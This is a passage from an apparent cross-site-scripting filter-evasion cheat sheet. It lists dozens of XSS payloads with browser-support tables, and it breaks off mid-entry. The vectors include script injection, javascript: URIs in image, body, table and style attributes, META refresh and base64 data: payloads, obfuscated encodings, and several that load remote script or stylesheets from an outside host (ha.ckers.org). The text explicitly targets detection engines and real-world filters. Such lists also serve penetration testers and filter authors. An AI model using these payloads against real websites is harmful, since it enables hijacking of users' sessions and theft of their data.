<p><a name="XSS_Extraneous open brackets">Extraneous open brackets</a>. Submitted by Franz Sedlmaier, this XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like <a href="http://www.cs.utexas.edu/users/moore/best-ideas/string-searching/">Boyer-Moore</a> that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error:<br />
<textarea cols="45" rows="3">&lt;&lt;SCRIPT&gt;alert(“XSS”);//&lt;&lt;/SCRIPT&gt;</textarea></p>
<div>Browser support: [<span class="s">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p><a name="XSS_No_closing_script_tags">No closing script tags</a>. In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don&#8217;t actually need the “&gt;&lt;/SCRIPT&gt;” portion of this Cross Site Scripting vector. Firefox assumes it&#8217;s safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn&#8217;t effect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they&#8217;re not needed generally, although beware, I have no idea what the HTML will end up looking like once this is injected:<br />
<textarea cols="45" rows="3">&lt;SCRIPT SRC=http://ha.ckers.org/xss.js?&lt;B&gt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF2.0</span>] [<span class="ns">O9.02</span>]</div>
<p><a name="XSS_Protocol_resolution">Protocol resolution in script tags</a>.  This particular variant was submitted by <a href="http://www.pilorz.net/">Łukasz Pilorz</a> and was based partially off of Ozh&#8217;s protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a &lt;/SCRIPT&gt; tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The “.j” is valid, regardless of the encoding type because the browser knows it in context of a SCRIPT tag.<br />
<textarea cols="45" rows="3">&lt;SCRIPT SRC=//ha.ckers.org/.j&gt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF2.0</span>] [<span class="ns">O9.02</span>]</div>
<p><a name="XSS_Half_open">Half open</a> HTML/JavaScript XSS vector. Unlike Firefox the IE rendering engine doesn&#8217;t add extra data to your page, but it does allow the javascript: directive in images. This is useful as a vector because it doesn&#8217;t require a close angle bracket. This assumes there is any HTML tag below where you are injecting this cross site scripting vector. Even though there is no close “&gt;” tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. It gets around <a href="http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-mookhey/bh-us-04-mookhey-up.ppt">the following NIDS regex</a>: /((%3D)|(=))[^n]*((%3C)|&lt;)[^n]+((%3E)|&gt;)/ because it doesn&#8217;t require the end “&gt;”. As a side note, this was also affective against a real world XSS filter I came across using an open ended &lt;IFRAME tag instead of an &lt;IMG tag:<br />
<textarea cols="45" rows="3">&lt;IMG SRC=”javascript:alert(&#8216;XSS&#8217;)”</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p><a name="XSS_Double_open">Double open</a> angle brackets.  This is an odd one that <a href="http://www.mitre.org/">Steven Christey</a> brought to my attention. At first I misclassified this as the same XSS vector as above but it&#8217;s surprisingly different. Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won&#8217;t:<br />
<textarea cols="45" rows="3">&lt;iframe src=http://ha.ckers.org/scriptlet.html &lt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF2.0</span>] [<span class="ns">O9.02</span>]</div>
<p><a name="XSS_no_single_double_quotes_semicolon">XSS with no single quotes or double quotes or semicolons</a>:<br />
<textarea cols="45" rows="3">&lt;SCRIPT&gt;a=/XSS/ alert(a.source)&lt;/SCRIPT&gt;</textarea></p>
<div>Browser support: [<span class="s">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p><a name="XSS_Escaping_JS_escapes">Escaping JavaScript escapes</a>. When the application is written to output some user information inside of a JavaScript like the following: &lt;SCRIPT&gt;var a=”$ENV{QUERY_STRING}”;&lt;/SCRIPT&gt; and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this is gets injected it will read &lt;SCRIPT&gt;var a=”\”;alert(&#8216;XSS&#8217;);//”;&lt;/SCRIPT&gt; which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire. The <a href="http://ha.ckers.org/xss.html#XSSlocator">XSS locator</a> uses this method.:<br />
<textarea cols="45" rows="3">“;alert(&#8216;XSS&#8217;);//</textarea></p>
<div>Browser support: [<span class="s">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p><a name="XSS_End_title_tag">End title tag</a>.  This is a simple XSS vector that closes &lt;TITLE&gt; tags, which can encapsulate the malicious cross site scripting attack:<br />
<textarea cols="45" rows="3">&lt;/TITLE&gt;&lt;SCRIPT&gt;alert(“XSS”);&lt;/SCRIPT&gt;</textarea></p>
<div>Browser support: [<span class="s">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p><a name="XSS_INPUT_image">INPUT image</a>:<br />
<textarea cols="45" rows="3">&lt;INPUT TYPE=”IMAGE” SRC=”javascript:alert(&#8216;XSS&#8217;);”&gt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p><a name="XSS_BODY_image">BODY image</a>:<br />
<textarea cols="45" rows="3">&lt;BODY BACKGROUND=”javascript:alert(&#8216;XSS&#8217;)”&gt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p><a name="XSS_BODY_tag">BODY tag</a> (I like this method because it doesn&#8217;t require using any variants of “javascript:” or “&lt;SCRIPT&#8230;” to accomplish the XSS attack). <a href="http://x10security.org/">Dan Crowley</a> additionally noted that you can put a space before the equals sign (“onload=” != “onload =”):<br />
<textarea cols="45" rows="3">&lt;BODY ONLOAD=alert(&#8216;XSS&#8217;)&gt;</textarea></p>
<div>Browser support: [<span class="s">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p><a name="XSS_Event_handlers">Event Handlers</a> that can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing). Please note I have excluded browser support from this section because each one may have different results in different browsers. Thanks to <a href="http://www.secaron.de/">Rene Ledosquet</a> for the HTML+TIME updates:<br />
<textarea cols="45" rows="3">1. FSCommand() (attacker can use this when executed from within an embedded Flash object) 2. onAbort() (when user aborts the loading of an image) 3. onActivate() (when object is set as the active element) 4. onAfterPrint() (activates after user prints or previews print job) 5. onAfterUpdate() (activates on data object after updating data in the source object) 6. onBeforeActivate() (fires before the object is set as the active element) 7. onBeforeCopy() (attacker executes the attack string right before a selection is copied to the clipboard &#8211; attackers can do this with the execCommand(“Copy”) function) 8. onBeforeCut() (attacker executes the attack string right before a selection is cut) 9. onBeforeDeactivate() (fires right after the activeElement is changed from the current object) 10. onBeforeEditFocus() (Fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected) 11. onBeforePaste() (user needs to be tricked into pasting or be forced into it using the execCommand(“Paste”) function) 12. onBeforePrint() (user would need to be tricked into printing or attacker could use the print() or execCommand(“Print”) function). 13. onBeforeUnload() (user would need to be tricked into closing the browser &#8211; attacker cannot unload windows unless it was spawned from the parent) 14. onBegin() (the onbegin event fires immediately when the element&#8217;s timeline begins) 15. onBlur() (in the case where another popup is loaded and window looses focus) 16. onBounce() (fires when the behavior property of the marquee object is set to “alternate” and the contents of the marquee reach one side of the window) 17. onCellChange() (fires when data changes in the data provider) 18. onChange() (select, text, or TEXTAREA field loses focus and its value has been modified) 19. onClick() (someone clicks on a form) 20. onContextMenu() (user would need to right click on attack area) 21. onControlSelect() (fires when the user is about to make a control selection of the object) 22. onCopy() (user needs to copy something or it can be exploited using the execCommand(“Copy”) command) 23. onCut() (user needs to copy something or it can be exploited using the execCommand(“Cut”) command) 24. onDataAvailable() (user would need to change data in an element, or attacker could perform the same function) 25. onDataSetChanged() (fires when the data set exposed by a data source object changes) 26. onDataSetComplete() (fires to indicate that all data is available from the data source object) 27. onDblClick() (user double-clicks a form element or a link) 28. onDeactivate() (fires when the activeElement is changed from the current object to another object in the parent document) 29. onDrag() (requires that the user drags an object) 30. onDragEnd() (requires that the user drags an object) 31. onDragLeave() (requires that the user drags an object off a valid location) 32. onDragEnter() (requires that the user drags an object into a valid location) 33. onDragOver() (requires that the user drags an object into a valid location) 34. onDragDrop() (user drops an object (e.g. file) onto the browser window) 35. onDrop() (user drops an object (e.g. file) onto the browser window) 36. onEnd() (the onEnd event fires when the timeline ends. This can be exploited, like most of the HTML+TIME event handlers by doing something like &lt;P STYLE=”behavior:url(&#8216;#default#time2&#8242;)” onEnd=”alert(&#8216;XSS&#8217;)”&gt;) 37. onError() (loading of a document or image causes an error) 38. onErrorUpdate() (fires on a databound object when an error occurs while updating the associated data in the data source object) 39. onFilterChange() (fires when a visual filter completes state change) 40. onFinish() (attacker can create the exploit when marquee is finished looping) 41. onFocus() (attacker executes the attack string when the window gets focus) 42. onFocusIn() (attacker executes the attack string when window gets focus) 43. onFocusOut() (attacker executes the attack string when window looses focus) 44. onHelp() (attacker executes the attack string when users hits F1 while the window is in focus) 45. onKeyDown() (user depresses a key) 46. onKeyPress() (user presses or holds down a key) 47. onKeyUp() (user releases a key) 48. onLayoutComplete() (user would have to print or print preview) 49. onLoad() (attacker executes the attack string after the window loads) 50. onLoseCapture() (can be exploited by the releaseCapture() method) 51. onMediaComplete() (When a streaming media file is used, this event could fire before the file starts playing) 52. onMediaError() (User opens a page in the browser that contains a media file, and the event fires when there is a problem) 53. onMouseDown() (the attacker would need to get the user to click on an image) 54. onMouseEnter() (cursor moves over an object or area) 55. onMouseLeave() (the attacker would need to get the user to mouse over an image or table and then off again) 56. onMouseMove() (the attacker would need to get the user to mouse over an image or table) 57. onMouseOut() (the attacker would need to get the user to mouse over an image or table and then off again) 58. onMouseOver() (cursor moves over an object or area) 59. onMouseUp() (the attacker would need to get the user to click on an image) 60. onMouseWheel() (the attacker would need to get the user to use their mouse wheel) 61. onMove() (user or attacker would move the page) 62. onMoveEnd() (user or attacker would move the page) 63. onMoveStart() (user or attacker would move the page) 64. onOutOfSync() (interrupt the element&#8217;s ability to play its media as defined by the timeline) 65. onPaste() (user would need to paste or attacker could use the execCommand(“Paste”) function) 66. onPause() (the onpause event fires on every element that is active when the timeline pauses, including the body element) 67. onProgress() (attacker would use this as a flash movie was loading) 68. onPropertyChange() (user or attacker would need to change an element property) 69. onReadyStateChange() (user or attacker would need to change an element property) 70. onRepeat() (the event fires once for each repetition of the timeline, excluding the first full cycle) 71. onReset() (user or attacker resets a form) 72. onResize() (user would resize the window; attacker could auto initialize with something like: &lt;SCRIPT&gt;self.resizeTo(500,400);&lt;/SCRIPT&gt;) 73. onResizeEnd() (user would resize the window; attacker could auto initialize with something like: &lt;SCRIPT&gt;self.resizeTo(500,400);&lt;/SCRIPT&gt;) 74. onResizeStart() (user would resize the window; attacker could auto initialize with something like: &lt;SCRIPT&gt;self.resizeTo(500,400);&lt;/SCRIPT&gt;) 75. onResume() (the onresume event fires on every element that becomes active when the timeline resumes, including the body element) 76. onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward) 77. onRowsEnter() (user or attacker would need to change a row in a data source) 78. onRowExit() (user or attacker would need to change a row in a data source) 79. onRowDelete() (user or attacker would need to delete a row in a data source) 80. onRowInserted() (user or attacker would need to insert a row in a data source) 81. onScroll() (user would need to scroll, or attacker could use the scrollBy() function) 82. onSeek() (the onreverse event fires when the timeline is set to play in any direction other than forward) 83. onSelect() (user needs to select some text &#8211; attacker could auto initialize with something like: window.document.execCommand(“SelectAll”);) 84. onSelectionChange() (user needs to select some text &#8211; attacker could auto initialize with something like: window.document.execCommand(“SelectAll”);) 85. onSelectStart() (user needs to select some text &#8211; attacker could auto initialize with something like: window.document.execCommand(“SelectAll”);) 86. onStart() (fires at the beginning of each marquee loop) 87. onStop() (user would need to press the stop button or leave the webpage) 88. onSyncRestored() (user interrupts the element&#8217;s ability to play its media as defined by the timeline to fire) 89. onSubmit() (requires attacker or user submits a form) 90. onTimeError() (user or attacker sets a time property, such as dur, to an invalid value) 91. onTrackChange() (user or attacker changes track in a playList) 92. onUnload() (as the user clicks any link or presses the back button or attacker forces a click) 93. onURLFlip() (this event fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file) 94. seekSegmentTime() (this is a method that locates the specified point on the element&#8217;s segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.) </textarea></p>
<p><a name="XSS_IMG_Dynsrc">IMG Dynsrc</a>:<br />
<textarea cols="45" rows="3">&lt;IMG DYNSRC=”javascript:alert(&#8216;XSS&#8217;)”&gt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="ns">O9.02</span>]</div>
<p><a name="XSS_IMG_lowsrc">IMG lowsrc</a>:<br />
<textarea cols="45" rows="3">&lt;IMG LOWSRC=”javascript:alert(&#8216;XSS&#8217;)”&gt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="ns">O9.02</span>]</div>
<p><a name="XSS_BGSOUND">BGSOUND</a>:<br />
<textarea cols="45" rows="3">&lt;BGSOUND SRC=”javascript:alert(&#8216;XSS&#8217;);”&gt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p><a name="XSS_ampersand">&amp; JavaScript includes</a> (works in Netscape 4.x):<br />
<textarea cols="45" rows="3">&lt;BR SIZE=”&amp;{alert(&#8216;XSS&#8217;)}”&gt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="ns">O9.02</span>] [<span class="s">NS4</span>]</div>
<p><a name="XSS_LAYER">LAYER</a> (also only works in Netscape 4.x)<br />
<textarea cols="45" rows="3">&lt;LAYER SRC=”http://ha.ckers.org/scriptlet.html”&gt;&lt;/LAYER&gt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="ns">O9.02</span>] [<span class="s">NS4</span>]</div>
<p><a name="XSS_STYLE_sheet">STYLE sheet</a>:<br />
<textarea cols="45" rows="3">&lt;LINK REL=”stylesheet” HREF=”javascript:alert(&#8216;XSS&#8217;);”&gt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p><a name="XSS_Remote_style_sheet">Remote style sheet</a> (using something as simple as a remote style sheet you can include your XSS as the style parameter can be redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won&#8217;t work unless there is some content on the page other than the vector itself, so you&#8217;ll need to add a single letter to the page to make it work if it&#8217;s an otherwise blank page:<br />
<textarea cols="45" rows="3">&lt;LINK REL=”stylesheet” HREF=”http://ha.ckers.org/xss.css”&gt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="ns">O9.02</span>]</div>
<p><a name="XSS_Remote_style_sheet_part_2">Remote style sheet part 2</a> (this works the same as above, but uses a &lt;STYLE&gt; tag instead of a &lt;LINK&gt; tag). A slight variation on this vector was used to <a href="http://www.hacker.co.il/security/ie/css_import.html">hack Google Desktop</a>. As a side note, you can remove the end &lt;/STYLE&gt; tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equals sign or a slash in your cross site scripting attack, which has come up at least once in the real world:<br />
<textarea cols="45" rows="3">&lt;STYLE&gt;@import&#8217;http://ha.ckers.org/xss.css&#8217;;&lt;/STYLE&gt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="ns">O9.02</span>]</div>
<p><a name="XSS_Remote_style_sheet_part_3">Remote style sheet part 3</a>. This only works in Opera 8.0 (no longer in 9.x) but is fairly tricky.  According to <a href="http://www.faqs.org/rfcs/rfc2616.html">RFC2616</a> setting a link header is not part of the HTTP1.1 spec, however some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: &lt;http://ha.ckers.org/xss.css&gt;; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox:<br />
<textarea cols="45" rows="3">&lt;META HTTP-EQUIV=”Link” Content=”&lt;http://ha.ckers.org/xss.css&gt;; REL=stylesheet”&gt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="ns">O9.02</span>]</div>
<p><a name="XSS_Remote_style_sheet_part_4">Remote style sheet part 4</a>. This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefor is vulnerable to this for the vast majority of sites:<br />
<textarea cols="45" rows="3">&lt;STYLE&gt;BODY{-moz-binding:url(“http://ha.ckers.org/xssmoz.xml#xss”)}&lt;/STYLE&gt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF2.0</span>] [<span class="ns">O9.02</span>]</div>
<p><a name="XSS_Local_htc_file">Local htc file</a>. This is a little different than the above two cross site scripting vectors because it uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute:<br />
<textarea cols="45" rows="3">&lt;XSS STYLE=”behavior: url(xss.htc);”&gt;</textarea></p>
<div>Browser support: [<span class="s">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="ns">O9.02</span>]</div>
<p><a name="XSS_List-style-image">List-style-image</a>. Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector:<br />
<textarea cols="45" rows="3">&lt;STYLE&gt;li {list-style-image: url(“javascript:alert(&#8216;XSS&#8217;)”);}&lt;/STYLE&gt;&lt;UL&gt;&lt;LI&gt;XSS</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="ns">O9.02</span>]</div>
<p><a name="XSS_VBscript">VBscript</a> in an image:<br />
<textarea cols="45" rows="3">&lt;IMG SRC=&#8217;vbscript:msgbox(“XSS”)&#8217;&gt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="ns">O9.02</span>]</div>
<p><a name="XSS_Mocha">Mocha</a> (older versions of Netscape only):<br />
<textarea cols="45" rows="3">&lt;IMG SRC=”mocha:[code]"&gt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="ns">O9.02</span>] [<span class="s">NS4</span>]</div>
<p><a name="XSS_Livescript">Livescript</a> (older versions of Netscape only):<br />
<textarea cols="45" rows="3">&lt;IMG SRC="livescript:[code]"&gt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="ns">O9.02</span>] [<span class="s">NS4</span>]</div>
<p><a name="XSS_US-ASCII">US-ASCII</a> encoding (found by <a href="http://www.iku-ag.de/">Kurt Huwig</a>). This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the host transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding. I highly suggest anyone interested in alternate encoding issues look at <a href="http://ha.ckers.org/charsets.html">my charsets issues</a> page:<br />
<textarea cols="45" rows="3">¼script¾alert(¢XSS¢)¼/script¾</textarea></p>
<div>Browser support: [<span class="s">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="ns">O9.02</span>] [<span class="ns">NS4</span>]</div>
<p><a name="XSS_META">META</a> (the odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs):<br />
<textarea cols="45" rows="3">&lt;META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"&gt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p><a name="XSS_META_using_data_directive">META using data: directive</a> URL scheme. This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, because it utilizes base64 encoding. Please see <a href="http://www.ietf.org/rfc/rfc2397.txt">RFC 2397</a> for more details or go <a href="http://software.hixie.ch/utilities/cgi/data/data">here</a> or <a href="http://www.scalora.org/projects/uriencoder/">here</a> to encode your own.  You can also use the <a href="http://ha.ckers.org/xss.html#XSScalc">XSS calculator</a> below if you just want to encode raw HTML or JavaScript as it has a Base64 encoding method:<br />
<textarea cols="45" rows="3">&lt;META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"&gt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p><a name="XSS_META_additional_URL_parameter">META with additional URL parameter</a>. If the target website attempts to see if the URL contains "http://" at the beginning you can evade it with the following technique (Submitted by <a href="http://www.moritz-naumann.com/">Moritz Naumann</a>):<br />
<textarea cols="45" rows="3">&lt;META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"&gt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="ns">O9.02</span>]</div>
<p><a name="XSS_IFRAME">IFRAME</a> (if iframes are allowed there are a lot of other XSS problems as well):<br />
<textarea cols="45" rows="3">&lt;IFRAME SRC="javascript:alert('XSS');"&gt;&lt;/IFRAME&gt;</textarea></p>
<div>Browser support: [<span class="s">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p><a name="XSS_FRAME">FRAME</a> (frames have the same sorts of XSS problems as iframes):<br />
<textarea cols="45" rows="3">&lt;FRAMESET&gt;&lt;FRAME SRC="javascript:alert('XSS');"&gt;&lt;/FRAMESET&gt;</textarea></p>
<div>Browser support: [<span class="s">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p><a name="XSS_TABLE">TABLE</a> (who would have thought tables were XSS targets... except me, of course):<br />
<textarea cols="45" rows="3">&lt;TABLE BACKGROUND="javascript:alert('XSS')"&gt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p><a name="XSS_TD">TD</a> (just like above, TD's are vulnerable to BACKGROUNDs containing JavaScript XSS vectors):<br />
<textarea cols="45" rows="3">&lt;TABLE&gt;&lt;TD BACKGROUND="javascript:alert('XSS')"&gt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="s">O9.02</span>]</div>
<p><a name="XSS_DIV_background-image">DIV background-image</a>:<br />
<textarea cols="45" rows="3">&lt;DIV STYLE="background-image: url(javascript:alert('XSS'))"&gt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="ns">O9.02</span>]</div>
<p><a name="XSS_DIV_background_image_unicode">DIV background-image with unicoded XSS</a> exploit (this has been modified slightly to obfuscate the url parameter).  The original vulnerability was found by <a href="http://www.sysdream.com/">Renaud Lifchitz</a> as a vulnerability in Hotmail:<br />
<textarea cols="45" rows="3">&lt;DIV STYLE="background-image: 075 072 06C 028' 06a 061 076 061 073 063 072 069 070 074 03a 061 06c 065 072 074 028.1027 058.1053 053 027 029' 029"&gt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="ns">O9.02</span>]</div>
<p><a name="XSS_DIV_background-image_plus">DIV background-image plus extra characters</a>. I built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8.13, 12288, 65279):<br />
<textarea cols="45" rows="3">&lt;DIV STYLE="background-image: url(&amp;#1;javascript:alert('XSS'))"&gt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="ns">O9.02</span>]</div>
<p><a name="XSS_DIV_expression">DIV expression</a> - a variant of this was effective against a real world cross site scripting filter using a newline between the colon and "expression":<br />
<textarea cols="45" rows="3">&lt;DIV STYLE="width: expression(alert('XSS'));"&gt;</textarea></p>
<div>Browser support: [<span class="s">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="ns">O9.02</span>]</div>
<p><a name="XSS_STYLE">STYLE</a> tags with broken up JavaScript for XSS (this XSS at times sends IE into an infinite loop of alerts):<br />
<textarea cols="45" rows="3">&lt;STYLE&gt;@import'javascript:alert("XSS")';&lt;/STYLE&gt;</textarea></p>
<div>Browser support: [<span class="ns">IE7.0</span>|<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF2.0</span>] [<span class="ns">O9.02</span>]</div>
<p><a name="XSS_STYLE_comment">STYLE attribute using a comment</a> to break up expression (Thanks to <a href="http://www.pixel-apes.com/">Roman Ivanov</a> for this one):<br />
